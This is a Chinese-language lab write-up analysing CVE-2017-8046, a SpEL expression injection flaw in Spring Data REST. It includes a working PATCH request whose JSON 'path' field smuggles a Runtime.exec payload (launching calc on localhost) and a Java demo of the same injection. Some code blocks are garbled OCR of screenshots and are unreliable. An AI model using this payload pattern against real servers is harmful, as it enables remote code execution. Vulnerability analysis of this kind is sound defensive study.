# CVE-2017-8046

今天来分析java spring框架中的SpEL表达式注入漏洞。

因为没有学过Spring框架,和SpEL表达式,所以现在来简单的了解一下。

Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞 (CVE-2017-8046)。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造 好的JSON数据来执行任意Java代码。官方已经发布了新版本修复了该漏洞。

### 受影响的版本

- Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3</li>
- Spring Boot version < 2.0.0M4</li>
- Spring Data release trains < Kay-RC3

#### 不受影响的版本

- Spring Data REST 2.5.12, 2.6.7, 3.0RC3
- Spring Boot 2.0.0.M4
- Spring Data release train Kay-RC3

### 提前知识

Spring框架 (一) 简单介绍

Spring表达式语言SpEL

Java代码审计之SpEL表达式注入

而简单的说就是,SpEL可以调用方法及引用对象中的属性,从而可以执行命令

使用 T(Type)来表示java.lang.Class实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名;

# 环境搭建

使用的项目为<a href="https://github.com/spring-guides/gs-accessing-data-rest.git">https://github.com/spring-guides/gs-accessing-data-rest.git</a>里面的complete,直接用IDEA导入,并修改pom.xml中版本信息为漏洞版本。这里改为1.5.6。

直接运行,默认端口8080,访问http://localhost:8080/

# 测试环境

在真实漏洞之前我们写一个SpELTest.java来演示一下SpEL注入漏洞

```
1
   package EZvulhub;
2
   import org.springframework.expression.Expression;
4
   import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
 6
 7
   public class SpELTest {
8
        public static void main(String[] args) {
9
            String SpEL = "T(java.lang.Runtime).getRuntime().exec('calc')";
10
            //
11
            testSpEL(SpEL);
12
        }
13
        private static void testSpEL(String spEL){
14
            ExpressionParser parser = new SpelExpressionParser();
15
            Expression exp = parser.parseExpression(spEL);
16
            exp.getValue();
        }
17
18
19
```

```
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpELTest {
   public static void main(String[] args) {
       String SpEL = "T(java.lang.Runtime).getRuntime().exec('calc')";
       testSpEL(SpEL):
                                                               = 程序员
                                                                                                      内存
   private static void testSpEL(String spEL){
       ExpressionParser parser = new SpelExpressionParser();
                                                                                                     内存中没有内容
                                                               HEX
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                                                                   0
                                                               ост
                                                                   0
```

而上面就是通过去解析SpEL表达式形成的命令执行。

### 漏洞复现

我们去用POST请求新建一个people,请求如下

```
1 POST /people HTTP/1.1
     2
          Host: localhost:8080
          User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) ApplewebKit/537.36 (KHTML,
          like Gecko) Chrome/62.0.3202.9 Safari/537.36
     4
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     5
          Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
     6
          Accept-Encoding: gzip, deflate
     7
          Connection: close
     8
          Upgrade-Insecure-Requests: 1
     9
          Content-Length: 32
   10
           {"firstName":"1","lastName":"1"}
   11
POST /people HTTP/1.1
                                                                               HTTP/1.1 201
                                                                               Location: http://localhost:8080/people/1
Host: localhost: 8080
Host: localhost: 8080
User-Agent: Mosilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
Accept-Language:
zh-CM, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding; gzip, deflate
                                                                               Content-Type: application/hal+json;
Date: Thu, 18 Feb 2021 06:21:43 GMT
                                                                               Connection: close
                                                                               Content-Length: 215
                                                                                 "firstName" : "1"
'**~me" : "1",
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32
                                                                                 "lastName"
"_links" :
                                                                                    "self"
                                                                                     "href"
{"firstName": "1", "lastName": "1"}
                                                                                             "http://localhost:8080/people/1"
                                                                                             "http://localhost:8080/people/1"
                                                                                      'href
```

#### 成功创建一个people对象,然后通过GET请求可以访问对象。

#### 下一步就是利用漏洞

需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:

- 1、请求头为Content-Type: application/json-patch+json
- 2、需要参数op、路径path,其中op所支持的方法很多,如test, add, replace等,path参数则必须使用斜杠分割

这样我们就可以构造payload了

```
1 PATCH /people/1 HTTP/1.1
   Host: localhost:8080
 3
   User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) ApplewebKit/537.36 (KHTML,
   like Gecko) Chrome/62.0.3202.9 Safari/537.36
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5
   Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
 6
   Accept-Encoding: gzip, deflate
 7
   Connection: close
8
   Content-Type:application/json-patch+json
9
   Upgrade-Insecure-Requests: 1
10
   Content-Length: 124
11
    [{ "op": "add", "path": "T(java.lang.Runtime).getRuntime().exec(new
12
    java.lang.String(new byte[]{99,97,108,99}))/lastName" }]
```

```
PATCH /people/1 HTTP/1.1
Host: localhost:8080
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
Accept-Language: sh-CN, sh:q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
                                                                                                                                                                                                                                                 Content-Type: application/hal+json; charset=UTF-8
Date: Thu, 18 Feb 2021 06:23:51 GMT
Connection: close
                                                                                                                                                                                                                                                 Content-Length: 452
                                                                                                                                                                                                                                                 {"cause": ("cause": null, "message": "EL1010E: Property or field 'lastName' cannot be set on object of type 'java.lang.Processimpl' - maybe not public?'), "message": "Could not read an object of type class com. example. accessingdatarest.Person from the request!: nested exception is org. springframework. expression.spel.SpelEvaluationException: EL1010E: Property or field 'lastName' cannot be set on object of type 'java.lang.ProcessImpl' - maybe noblic?']
 Content-Type:application/json-patch+json
Upgrade-Insecure-Requests: 1
 Upgrade-Insecure-Requests: 1
Content-Length: 124
   [{ "op": "add", "path": "I(java.lang.Runtime).getRuntime().exec(new
java.lang.String(new byte[]{99,97,108,99}))/lastName"}]
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```

### 漏洞分析

程序入口: [org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply() 中

```
| Time Maken: org spring framework data spring-data-rest-webmwc-2.6.6.RELEAS | Signifigure | Signif
```

第一部分是通过断言的方法来判断请求的方法是不是Patch 如果是我们就进入 applyPatch() 方法

然后在跟进 getPatchOperations 方法

```
private Patch |getPatchOperations(InputStream source) {
    try {
        return (new JsonPatchPatchConverter(this.mapper)).convert(this.mapper.readTree(source));
    } catch (Exception var3) {
        throw new HttpMessageNotReadableException(String.format("Could not read PATCH operations! Expected %s!",
    }
}

60 }

61
```

创建了一个对象并且调用 convert() 方法, 跟进这个方法。

该方法最后返回一个 new Patch(ops)

```
public Patch convert(JsonNode jsonNode) {

if (!(jsonNode instanceof ArrayNode)) {
    throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
}

ArrayNode opNodes = (ArrayNode) jsonNode;
List<PatchOperation> ops = new ArrayList<PatchOpNodes.size());

for (Iterator<JsonNode> elements = opNodes.elements(); elements.hasNext();) {

JsonNode opNode = elements.next();

String opType = opNode.get("op").textValue();
String path = opNode.get("op").textValue();

String from = opNode.get("op").textValue();

String from = opNode.has( fieldName: "from") ? opNode.get("from").textValue() :

if (opType.equals("test")) {
    ops.add(TestOperation.whetherValueAt(path).hasValue(value));
} else if (opType.equals("neplace")) {
    ops.add(RestOperation.valueAt(path).with(value));
} else if (opType.equals("neplace")) {
    ops.add(Addoperation.of(path, value));
} else if (opType.equals("opv")) {
    ops.add(Addoperation.of(path, value));
} else if (opType.equals("copv")) {
    ops.add(CopyOperation.from(from).to(path));
} else if (opType.equals("nom")) {
    ops.add(CopyOperation.from(from).to(path));
} else if
```

在跟进入 Patch 里面是一个List类型的 PatchOperation

```
public Patch(List<PatchOperation> operations) {
    this.operations = operations;
}
```

然后我们在跟进 PatchOperation

```
protected final String op;
protected final String path;
protected final Object value;
protected final Expression spelExpression;

protected final Expression spelExpression;

public PatchOperation(String op, String path) { this(op, path, (Object)null); }

public PatchOperation(String op, String path, Object value) {
    this.op = op;
    this.path = path;
    this.value = value;
    this.spelExpression = PathToSpEL.pathToExpression(path);
}
```

发现是使用了SpEL表达式,我们在跟进 pathToExpression

可以看到这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()。进入到 pathToSpEL()中

```
32 @ private static String pathToSpEL(String path) {
33          return pαthNodesToSpEL(path.split(regex: "\\/"));
34          }
35
```

重新回到 org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch() 中

然后调用 apply 方法

```
public <T> T apply(T in, Class<T> type) throws PatchException {
    Iterator var3 = this.operations.iterator();

while(var3.hasNext()) {
        PatchOperation operation = (PatchOperation)var3.next();
        operation.perform(in, type);
}

return in;
}
```

跟进 perform 方法。

```
abstract <T> void perform(Object var1, Class<T> var2);
```

发现是一个抽象方法。看看他的实现。

```
GlsonlateObjectEvaluator
GlsonPatchPatchConverter
103

BARPerform的实施方法(6 万法英型)

G AddOperation (org.springframework.data.rest.webmvc.json.patch)

BAVEN: org.springframework.data:spring-data-rest-webmvc:2.6.6.RELEASE (spring-data-rest-webmvc-construction (org.springframework.data.rest.webmvc.json.patch)

BAVEN: org.springframework.data:spring-data-rest-webmvc:2.6.6.RELEASE (spring-data-rest-webmvc-construction (org.springframework.data.rest.webmvc.json.patch)

BRENDECEPTRATE (org.springframework.data.rest.webmvc.json.patch
```

实际上PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。通过动态调试分析,此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。进入到 ReplaceOperation:perform()中,

在去看看 setvalueOnTarget() 方法。在 setValueOnTarget() 中会调用spelExpression对spel表示式进行解析,从而触发漏洞。

```
protected void setValueOnTarget(Object target, Object value) { this.spelExpression.setValue(target, value); }
```

# 参考

https://www.cnblogs.com/co10rway/p/9380441.html

https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2017-8046

http://xxlegend.com/2017/09/29/Spring%20Data%20Rest%E6%9C%8D%E5%8A%A1%E5%99%A8PATCH%E8%AF%B7%E6%B1%82%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9ECVE-2017-8046%E8%A1%A5%E5%85%85%E5%88%86%E6%9E%90/